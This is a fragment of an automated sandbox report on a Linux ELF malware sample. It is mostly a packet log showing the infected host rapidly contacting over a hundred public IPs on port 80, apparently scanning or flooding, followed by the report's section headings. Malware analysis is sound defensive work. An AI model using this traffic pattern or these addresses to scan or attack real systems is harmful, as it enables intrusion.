Dec 27, 2024 05:02:53.657716990 CET	14220	80	192.168.2.23	1.151.62.227
Dec 27, 2024 05:02:53.657717943 CET	14220	80	192.168.2.23	72.199.99.28
Dec 27, 2024 05:02:53.657727003 CET	14220	80	192.168.2.23	137.156.179.62
Dec 27, 2024 05:02:53.657727003 CET	14220	80	192.168.2.23	126.54.134.199
Dec 27, 2024 05:02:53.657727003 CET	14220	80	192.168.2.23	148.170.81.11
Dec 27, 2024 05:02:53.657727003 CET	14220	80	192.168.2.23	54.168.248.167
Dec 27, 2024 05:02:53.657727003 CET	14220	80	192.168.2.23	25.1.48.104
Dec 27, 2024 05:02:53.657732010 CET	14220	80	192.168.2.23	68.218.126.255
Dec 27, 2024 05:02:53.657732010 CET	14220	80	192.168.2.23	157.32.57.144
Dec 27, 2024 05:02:53.657732010 CET	14220	80	192.168.2.23	131.180.217.95
Dec 27, 2024 05:02:53.657740116 CET	14220	80	192.168.2.23	207.112.119.224
Dec 27, 2024 05:02:53.657742977 CET	14220	80	192.168.2.23	57.140.238.71
Dec 27, 2024 05:02:53.657742977 CET	14220	80	192.168.2.23	51.172.172.117
Dec 27, 2024 05:02:53.657744884 CET	14220	80	192.168.2.23	134.189.41.53
Dec 27, 2024 05:02:53.657744884 CET	14220	80	192.168.2.23	189.74.194.67
Dec 27, 2024 05:02:53.657744884 CET	14220	80	192.168.2.23	81.36.123.158
Dec 27, 2024 05:02:53.657746077 CET	14220	80	192.168.2.23	198.66.63.119
Dec 27, 2024 05:02:53.657746077 CET	14220	80	192.168.2.23	57.14.207.161
Dec 27, 2024 05:02:53.657762051 CET	14220	80	192.168.2.23	144.78.198.1
Dec 27, 2024 05:02:53.657763004 CET	14220	80	192.168.2.23	136.240.93.102
Dec 27, 2024 05:02:53.657763958 CET	14220	80	192.168.2.23	70.66.106.181
Dec 27, 2024 05:02:53.657768011 CET	14220	80	192.168.2.23	212.85.83.213
Dec 27, 2024 05:02:53.657768965 CET	14220	80	192.168.2.23	134.143.42.57
Dec 27, 2024 05:02:53.657776117 CET	14220	80	192.168.2.23	36.32.52.58
Dec 27, 2024 05:02:53.657777071 CET	14220	80	192.168.2.23	75.15.133.241
Dec 27, 2024 05:02:53.657777071 CET	14220	80	192.168.2.23	68.115.221.50
Dec 27, 2024 05:02:53.657778025 CET	14220	80	192.168.2.23	151.170.81.43
Dec 27, 2024 05:02:53.657782078 CET	14220	80	192.168.2.23	98.105.225.111
Dec 27, 2024 05:02:53.657782078 CET	14220	80	192.168.2.23	192.146.129.91
Dec 27, 2024 05:02:53.657785892 CET	14220	80	192.168.2.23	203.139.138.255
Dec 27, 2024 05:02:53.657795906 CET	14220	80	192.168.2.23	38.106.41.3
Dec 27, 2024 05:02:53.657795906 CET	14220	80	192.168.2.23	146.157.154.90
Dec 27, 2024 05:02:53.657804012 CET	14220	80	192.168.2.23	2.218.24.42
Dec 27, 2024 05:02:53.657804012 CET	14220	80	192.168.2.23	190.188.220.127
Dec 27, 2024 05:02:53.657804012 CET	14220	80	192.168.2.23	9.14.63.157
Dec 27, 2024 05:02:53.657805920 CET	14220	80	192.168.2.23	202.253.6.208
Dec 27, 2024 05:02:53.657805920 CET	14220	80	192.168.2.23	146.170.244.222
Dec 27, 2024 05:02:53.657809019 CET	14220	80	192.168.2.23	96.86.27.150
Dec 27, 2024 05:02:53.657821894 CET	14220	80	192.168.2.23	69.66.32.41
Dec 27, 2024 05:02:53.657830000 CET	14220	80	192.168.2.23	94.14.171.28
Dec 27, 2024 05:02:53.657830000 CET	14220	80	192.168.2.23	175.68.98.180
Dec 27, 2024 05:02:53.657830000 CET	14220	80	192.168.2.23	103.229.153.52
Dec 27, 2024 05:02:53.657835007 CET	14220	80	192.168.2.23	54.202.18.213
Dec 27, 2024 05:02:53.657836914 CET	14220	80	192.168.2.23	122.117.100.153
Dec 27, 2024 05:02:53.657843113 CET	14220	80	192.168.2.23	155.180.169.187
Dec 27, 2024 05:02:53.657843113 CET	14220	80	192.168.2.23	45.95.77.105
Dec 27, 2024 05:02:53.657843113 CET	14220	80	192.168.2.23	170.230.16.120
Dec 27, 2024 05:02:53.657850027 CET	14220	80	192.168.2.23	210.122.95.152
Dec 27, 2024 05:02:53.657862902 CET	14220	80	192.168.2.23	142.129.13.235
Dec 27, 2024 05:02:53.657867908 CET	14220	80	192.168.2.23	217.94.47.15
Dec 27, 2024 05:02:53.657867908 CET	14220	80	192.168.2.23	102.88.39.72
Dec 27, 2024 05:02:53.657871962 CET	14220	80	192.168.2.23	54.208.19.37
Dec 27, 2024 05:02:53.657874107 CET	14220	80	192.168.2.23	77.183.77.89
Dec 27, 2024 05:02:53.657876015 CET	14220	80	192.168.2.23	210.127.199.250
Dec 27, 2024 05:02:53.657876015 CET	14220	80	192.168.2.23	173.125.167.176
Dec 27, 2024 05:02:53.657876015 CET	14220	80	192.168.2.23	209.183.76.61
Dec 27, 2024 05:02:53.657876015 CET	14220	80	192.168.2.23	191.191.219.226
Dec 27, 2024 05:02:53.657877922 CET	14220	80	192.168.2.23	114.50.46.17
Dec 27, 2024 05:02:53.657877922 CET	14220	80	192.168.2.23	135.169.4.16
Dec 27, 2024 05:02:53.657881975 CET	14220	80	192.168.2.23	155.118.132.112
Dec 27, 2024 05:02:53.657883883 CET	14220	80	192.168.2.23	8.7.127.253
Dec 27, 2024 05:02:53.657885075 CET	14220	80	192.168.2.23	162.192.193.26
Dec 27, 2024 05:02:53.657896996 CET	14220	80	192.168.2.23	205.82.18.6
Dec 27, 2024 05:02:53.657898903 CET	14220	80	192.168.2.23	138.75.225.62
Dec 27, 2024 05:02:53.657912016 CET	14220	80	192.168.2.23	123.47.100.144
Dec 27, 2024 05:02:53.657912970 CET	14220	80	192.168.2.23	42.111.23.106
Dec 27, 2024 05:02:53.657912970 CET	14220	80	192.168.2.23	147.60.24.249
Dec 27, 2024 05:02:53.657917023 CET	14220	80	192.168.2.23	191.240.107.255
Dec 27, 2024 05:02:53.657923937 CET	14220	80	192.168.2.23	161.4.189.208
Dec 27, 2024 05:02:53.657926083 CET	14220	80	192.168.2.23	34.104.212.234
Dec 27, 2024 05:02:53.657926083 CET	14220	80	192.168.2.23	9.184.208.230
Dec 27, 2024 05:02:53.657927036 CET	14220	80	192.168.2.23	89.160.179.52
Dec 27, 2024 05:02:53.657929897 CET	14220	80	192.168.2.23	41.216.190.72
Dec 27, 2024 05:02:53.657932997 CET	14220	80	192.168.2.23	169.101.253.23
Dec 27, 2024 05:02:53.657939911 CET	14220	80	192.168.2.23	187.42.16.22
Dec 27, 2024 05:02:53.657944918 CET	14220	80	192.168.2.23	165.67.10.167
Dec 27, 2024 05:02:53.657949924 CET	14220	80	192.168.2.23	189.150.88.53
Dec 27, 2024 05:02:53.657964945 CET	14220	80	192.168.2.23	164.84.220.206
Dec 27, 2024 05:02:53.657968044 CET	14220	80	192.168.2.23	32.69.37.204
Dec 27, 2024 05:02:53.657969952 CET	14220	80	192.168.2.23	134.70.67.156
Dec 27, 2024 05:02:53.657973051 CET	14220	80	192.168.2.23	182.217.203.17
Dec 27, 2024 05:02:53.657973051 CET	14220	80	192.168.2.23	145.4.54.139
Dec 27, 2024 05:02:53.657978058 CET	14220	80	192.168.2.23	153.9.180.15
Dec 27, 2024 05:02:53.657982111 CET	14220	80	192.168.2.23	188.183.79.133
Dec 27, 2024 05:02:53.657994032 CET	14220	80	192.168.2.23	195.82.19.111
Dec 27, 2024 05:02:53.657994986 CET	14220	80	192.168.2.23	149.189.125.21
Dec 27, 2024 05:02:53.658009052 CET	14220	80	192.168.2.23	78.175.88.83
Dec 27, 2024 05:02:53.658010960 CET	14220	80	192.168.2.23	195.209.86.164
Dec 27, 2024 05:02:53.658014059 CET	14220	80	192.168.2.23	118.128.84.210
Dec 27, 2024 05:02:53.658014059 CET	14220	80	192.168.2.23	27.218.3.70
Dec 27, 2024 05:02:53.658015966 CET	14220	80	192.168.2.23	146.50.214.212
Dec 27, 2024 05:02:53.658015966 CET	14220	80	192.168.2.23	8.218.237.227
Dec 27, 2024 05:02:53.658020973 CET	14220	80	192.168.2.23	62.134.97.104
Dec 27, 2024 05:02:53.658034086 CET	14220	80	192.168.2.23	79.155.156.55
Dec 27, 2024 05:02:53.658034086 CET	14220	80	192.168.2.23	59.207.68.45
Dec 27, 2024 05:02:53.658035040 CET	14220	80	192.168.2.23	82.167.138.3
Dec 27, 2024 05:02:53.658036947 CET	14220	80	192.168.2.23	146.178.212.194
Dec 27, 2024 05:02:53.658036947 CET	14220	80	192.168.2.23	185.209.238.110
Dec 27, 2024 05:02:53.658036947 CET	14220	80	192.168.2.23	197.128.214.136
Dec 27, 2024 05:02:53.658041000 CET	14220	80	192.168.2.23	130.40.121.122
Dec 27, 2024 05:02:53.658041000 CET	14220	80	192.168.2.23	41.47.107.68
Dec 27, 2024 05:02:53.658050060 CET	14220	80	192.168.2.23	47.17.159.52
Dec 27, 2024 05:02:53.658051014 CET	14220	80	192.168.2.23	104.208.63.27
Dec 27, 2024 05:02:53.658051968 CET	14220	80	192.168.2.23	116.164.24.24
Dec 27, 2024 05:02:53.658068895 CET	14220	80	192.168.2.23	133.154.200.231
Dec 27, 2024 05:02:53.658072948 CET	14220	80	192.168.2.23	65.67.155.202
Dec 27, 2024 05:02:53.658072948 CET	14220	80	192.168.2.23	63.123.103.199
Dec 27, 2024 05:02:53.658072948 CET	14220	80	192.168.2.23	8.113.87.0
Dec 27, 2024 05:02:53.658077002 CET	14220	80	192.168.2.23	223.128.236.192
Dec 27, 2024 05:02:53.658081055 CET	14220	80	192.168.2.23	123.177.12.45
Dec 27, 2024 05:02:53.658081055 CET	14220	80	192.168.2.23	133.121.254.177
Dec 27, 2024 05:02:53.658088923 CET	14220	80	192.168.2.23	48.13.163.94
Dec 27, 2024 05:02:53.658103943 CET	14220	80	192.168.2.23	13.4.189.227
Dec 27, 2024 05:02:53.658103943 CET	14220	80	192.168.2.23	1.12.15.4
Dec 27, 2024 05:02:53.658108950 CET	14220	80	192.168.2.23	145.43.110.7
Dec 27, 2024 05:02:53.658108950 CET	14220	80	192.168.2.23	222.69.152.234
Dec 27, 2024 05:02:53.658129930 CET	14220	80	192.168.2.23	74.179.111.170
Dec 27, 2024 05:02:53.658130884 CET	14220	80	192.168.2.23	77.252.46.153
Dec 27, 2024 05:02:53.658130884 CET	14220	80	192.168.2.23	61.184.117.184
Dec 27, 2024 05:02:53.658130884 CET	14220	80	192.168.2.23	104.207.73.69
Dec 27, 2024 05:02:53.658130884 CET	14220	80	192.168.2.23	197.240.7.83
Dec 27, 2024 05:02:53.658130884 CET	14220	80	192.168.2.23	32.169.132.84
Dec 27, 2024 05:02:53.658143997 CET	14220	80	192.168.2.23	198.50.226.40
Dec 27, 2024 05:02:53.658143997 CET	14220	80	192.168.2.23	193.146.60.91
Dec 27, 2024 05:02:53.658144951 CET	14220	80	192.168.2.23	139.151.13.188
Dec 27, 2024 05:02:53.658144951 CET	14220	80	192.168.2.23	133.7.215.133
Dec 27, 2024 05:02:53.658148050 CET	14220	80	192.168.2.23	53.60.94.46
Dec 27, 2024 05:02:53.658148050 CET	14220	80	192.168.2.23	167.52.172.81
Dec 27, 2024 05:02:53.658154011 CET	14220	80	192.168.2.23	1.9.105.218
Dec 27, 2024 05:02:53.658155918 CET	14220	80	192.168.2.23	69.74.72.71
Dec 27, 2024 05:02:53.658154011 CET	14220	80	192.168.2.23	13.181.35.149
Dec 27, 2024 05:02:53.658164024 CET	14220	80	192.168.2.23	197.192.133.13
Dec 27, 2024 05:0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report db0fa4b8db0333367e9bda3ab68b8042.spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.spc.elf